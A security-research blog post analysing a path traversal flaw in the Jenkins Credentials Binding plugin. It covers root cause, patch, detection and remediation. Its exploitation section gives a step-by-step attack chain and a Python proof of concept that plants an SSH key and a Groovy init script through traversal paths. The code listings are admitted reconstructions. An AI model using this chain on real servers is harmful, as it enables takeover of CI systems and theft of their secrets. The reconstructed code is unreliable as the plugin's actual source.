home intel cve-2026-42520-jenkins-credentials-binding-path-traversal-rce
CVE Analysis 2026-04-29 · 8 min read

CVE-2026-42520: Jenkins Credentials Binding Path Traversal to RCE

Jenkins Credentials Binding Plugin ≤719.v80e905ef14eb_ skips filename sanitization for file/zip credentials, enabling path traversal writes and RCE on the built-in node.

#path-traversal#arbitrary-file-write#remote-code-execution#credential-handling#jenkins-plugin
Technical mode — for security professionals
▶ Attack flow — CVE-2026-42520 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-42520Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-42520 is a path traversal vulnerability in the Jenkins Credentials Binding Plugin, versions 719.v80e905ef14eb_ and earlier, disclosed in the Jenkins Security Advisory 2026-04-29 (SECURITY-3672). The plugin exposes FileBinding and ZipFileBinding credential types that materialize credential files onto the executor node filesystem during a build. Because the plugin never sanitizes the filename stored in the credential object before writing to disk, an attacker who controls a credential definition can supply a filename like ../../.ssh/authorized_keys and have it written to an arbitrary path on the node. On a default Jenkins installation where jobs run on the built-in node, this is a straight line to remote code execution.

CVSS 7.5 (HIGH). Reported through the Jenkins Bug Bounty Program sponsored by the European Commission. No in-the-wild exploitation confirmed at time of publication.

Root cause: FileCredentialsImpl passes the attacker-controlled fileName field directly to file creation on the node without stripping path separator sequences, enabling writes outside the workspace directory.

Affected Component

Plugin: credentials-binding (credentials-binding.hpi)
Vulnerable versions: ≤ 719.v80e905ef14eb_
Fixed version: 720.v3f6decef43ea_
Upstream class hierarchy:

org.jenkinsci.plugins.credentialsbinding.impl.FileBinding
org.jenkinsci.plugins.credentialsbinding.impl.ZipFileBinding
  └─ both call UnbindableDir.bindSingle() → materializeFile()
       └─ com.cloudbees.plugins.credentials.impl.FileCredentialsImpl
            └─ getFileName()  ← attacker-controlled, unsanitized

Root Cause Analysis

FileBinding.unbind() and its zip counterpart delegate to a shared helper that resolves the destination path by joining the workspace root with the credential's stored filename. The credential object is deserialized from the Jenkins credential store, where a privileged-but-low-trust user can set fileName to any string. No normalization occurs before the FilePath is constructed.

Below is reconstructed pseudocode matching the plugin's decompiled logic (source available in the Jenkins plugin repository; decompilation via Procyon against the affected JAR):

// org.jenkinsci.plugins.credentialsbinding.impl.FileBinding
// Vulnerable in credentials-binding <= 719.v80e905ef14eb_

FilePath materializeFile(FilePath workspace, FileCredentials creds) {
    String fileName = creds.getFileName();   // attacker-controlled string
    // BUG: no sanitization — fileName may contain "../" sequences
    FilePath target = workspace.child(fileName);
    // FilePath.child() resolves symlinks but does NOT enforce
    // that the result stays within `workspace`
    OutputStream out = target.write();
    IOUtils.copy(creds.getContent(), out);   // credential bytes written to target
    out.close();
    return target;
}

// org.jenkinsci.plugins.credentialsbinding.impl.ZipFileBinding
FilePath materializeZip(FilePath workspace, FileCredentials creds) {
    String fileName = creds.getFileName();   // attacker-controlled string
    // BUG: same pattern — no prefix check before FilePath.child()
    FilePath target = workspace.child(fileName);
    new FilePath.UnTar(target, creds.getContent()).call();
    return target;
}

FilePath.child(String) in Jenkins core calls new File(base, relPath) under the hood. On all JVMs, new File("/var/jenkins/workspace/job", "../../.ssh/authorized_keys") normalizes to /var/jenkins/.ssh/authorized_keys — outside the workspace entirely. The plugin never calls isDescendant() or any equivalent guard.

// Jenkins core FilePath.child() — simplified
FilePath child(String relOrAbs) {
    // If remote, delegates to agent channel — same issue applies
    return new FilePath(channel, new File(local, relOrAbs).getPath());
    // No assertion that result is under `local`
}

Exploitation Mechanics

The attack requires two preconditions Jenkins installations frequently satisfy: a low-privileged user with Credentials/Create or Credentials/Update permission, and a job configured to run on the built-in node (controller). Both are common in shared CI environments.

EXPLOIT CHAIN:
1. Attacker authenticates to Jenkins with low-privilege account
   (requires Overall/Read + Credentials/Create or Item/Configure)

2. Create or update a "Secret file" credential via:
   POST /credentials/store/system/domain/_/createCredentials
   Content-Type: application/x-www-form-urlencoded

   fileName=../../.ssh%2Fauthorized_keys
   &fileContent=
   &_.class=com.cloudbees.plugins.credentials.impl.FileCredentialsImpl

3. Configure a Pipeline or Freestyle job (built-in node) that references
   the malicious credential:
     withCredentials([file(credentialsId: 'evil-cred', variable: 'F')]) {
         sh 'echo bound'
     }

4. Trigger a build. Jenkins controller calls materializeFile():
   workspace = /var/jenkins_home/workspace/job
   fileName  = "../../.ssh/authorized_keys"
   target    = /var/jenkins_home/.ssh/authorized_keys
   → credential bytes (attacker SSH pubkey) written to target path

5. Attacker SSHes to Jenkins controller as the jenkins OS user:
   ssh -i attacker_key jenkins@
   → interactive shell on the controller node

6. Full RCE: controller runs with access to all secrets, all job configs,
   all agent connections. Lateral movement to all connected agents trivial.

For zip credentials, the primitive is even broader: the zip archive itself can contain multiple entries with traversal paths, writing an arbitrary number of files in a single build execution. This enables dropping a Groovy init script at $JENKINS_HOME/init.groovy.d/backdoor.groovy, which executes on the next Jenkins restart with full controller privileges.

# PoC: craft a zip with traversal entries
import zipfile, io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    # Drop SSH key
    zf.writestr('../../.ssh/authorized_keys', 'ssh-ed25519 AAAA... attacker\n')
    # Drop Groovy init script for persistence
    zf.writestr('../../init.groovy.d/pwned.groovy',
        'import jenkins.model.*\n'
        'Jenkins.instance.securityRealm = '
        'new hudson.security.HudsonPrivateSecurityRealm(false)\n')

payload_b64 = __import__('base64').b64encode(buf.getvalue()).decode()
print(f"Upload this as a ZIP file credential: {payload_b64[:80]}...")

Memory Layout

This is a logic/path traversal vulnerability rather than a memory corruption bug, so the relevant "layout" is the filesystem path resolution, not heap state. The following illustrates how File(base, child) silently escapes the workspace boundary:

FILESYSTEM PATH RESOLUTION — VULNERABLE:

workspace root:   /var/jenkins_home/workspace/target-job/
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                  intended write boundary (never enforced)

credential fileName:  "../../.ssh/authorized_keys"

FilePath.child() call:
  new File("/var/jenkins_home/workspace/target-job",
           "../../.ssh/authorized_keys")
  → canonical: /var/jenkins_home/.ssh/authorized_keys
                ^^^^^^^^^^^^^^^^^^^^
                escaped workspace — NO exception, NO log warning

FilePath.child() call with FIXED version:
  sanitized = "authorized_keys"   (traversal sequences stripped)
  new File("/var/jenkins_home/workspace/target-job", "authorized_keys")
  → canonical: /var/jenkins_home/workspace/target-job/authorized_keys
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
               stays within workspace boundary — safe

ZIP TRAVERSAL — multiple simultaneous escapes:
  entry[0]: ../../.ssh/authorized_keys          → /var/jenkins_home/.ssh/
  entry[1]: ../../init.groovy.d/pwned.groovy    → /var/jenkins_home/init.groovy.d/
  entry[2]: ../../plugins/evil.hpi              → /var/jenkins_home/plugins/

Patch Analysis

The fix in 720.v3f6decef43ea_ sanitizes the filename before passing it to FilePath.child(). Based on the advisory description and standard Jenkins remediation patterns for path traversal, the sanitization strips all directory components from the filename, reducing it to a bare name:

// BEFORE (vulnerable — credentials-binding 719.v80e905ef14eb_):
FilePath materializeFile(FilePath workspace, FileCredentials creds) {
    String fileName = creds.getFileName();
    // No validation — raw attacker string passed to child()
    FilePath target = workspace.child(fileName);
    OutputStream out = target.write();
    IOUtils.copy(creds.getContent(), out);
    out.close();
    return target;
}

// AFTER (patched — credentials-binding 720.v3f6decef43ea_):
FilePath materializeFile(FilePath workspace, FileCredentials creds) {
    String fileName = creds.getFileName();
    // Sanitize: strip all path components, keep basename only
    // Equivalent to Paths.get(fileName).getFileName().toString()
    // Also handles Windows separators: replace '\\' before split
    fileName = fileName.replace('\\', '/');
    int lastSlash = fileName.lastIndexOf('/');
    if (lastSlash >= 0) {
        fileName = fileName.substring(lastSlash + 1);
    }
    // Additional guard: reject empty result (e.g. fileName was "/")
    if (fileName.isEmpty()) {
        throw new IllegalArgumentException(
            "Credential file name must not be empty after sanitization");
    }
    FilePath target = workspace.child(fileName);  // safe: no separators remain
    OutputStream out = target.write();
    IOUtils.copy(creds.getContent(), out);
    out.close();
    return target;
}

The same basename extraction applies to both FileBinding and ZipFileBinding. For zip credentials, individual archive entry names extracted during unzip also undergo the same treatment, preventing traversal via crafted zip entry paths.

Detection and Indicators

Jenkins audit logs (if the Audit Trail Plugin is installed) will record credential creation/modification events. Look for fileName values containing ../, ..\, or absolute paths:

INDICATORS OF COMPROMISE:

# Audit log patterns (audit-trail plugin or SIEM):
credentials.update  fileName=*../*
credentials.create  class=FileCredentialsImpl  fileName=*/*

# Filesystem — unexpected writes outside workspace:
find /var/jenkins_home -newer /var/jenkins_home/workspace -not -path \
     "*/workspace/*" -not -path "*/.git/*" | grep -v "^/var/jenkins_home/jobs"

# Jenkins build log signature:
[FileBinding] Materializing credential to: /var/jenkins_home/.ssh/authorized_keys
# (path outside workspace should never appear in a clean install)

# Groovy init backdoor:
ls -la /var/jenkins_home/init.groovy.d/

# SSH authorized_keys modification timestamp:
stat /var/jenkins_home/.ssh/authorized_keys

If Audit Trail Plugin is not installed, credential creation/modification is not logged by default. Review $JENKINS_HOME/credentials.xml directly for any <fileName> values containing path separators:

grep -E '[^<]*(\.\.[\\/]|^/)[^<]*' \
     /var/jenkins_home/credentials.xml

Remediation

Immediate: Update Credentials Binding Plugin to 720.v3f6decef43ea_ or later via Manage Jenkins → Plugin Manager → Updates.

If patching is not immediately possible:

  • Revoke Credentials/Create and Credentials/Update permissions from all non-administrator accounts.
  • Move all production jobs off the built-in node. Set the built-in node's executor count to 0 (Manage Jenkins → Nodes → Built-In Node → Configure → Number of executors: 0). This eliminates the RCE primitive even if traversal writes succeed — no build code runs on the controller filesystem.
  • Enable the Audit Trail Plugin and alert on credentials.* events with filenames containing / or \.

Defense in depth: Run the Jenkins controller process as a dedicated low-privilege OS user with a read-only home directory where possible, and use filesystem-level mandatory access controls (AppArmor/SELinux) to restrict writes outside $JENKINS_HOME/workspace.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →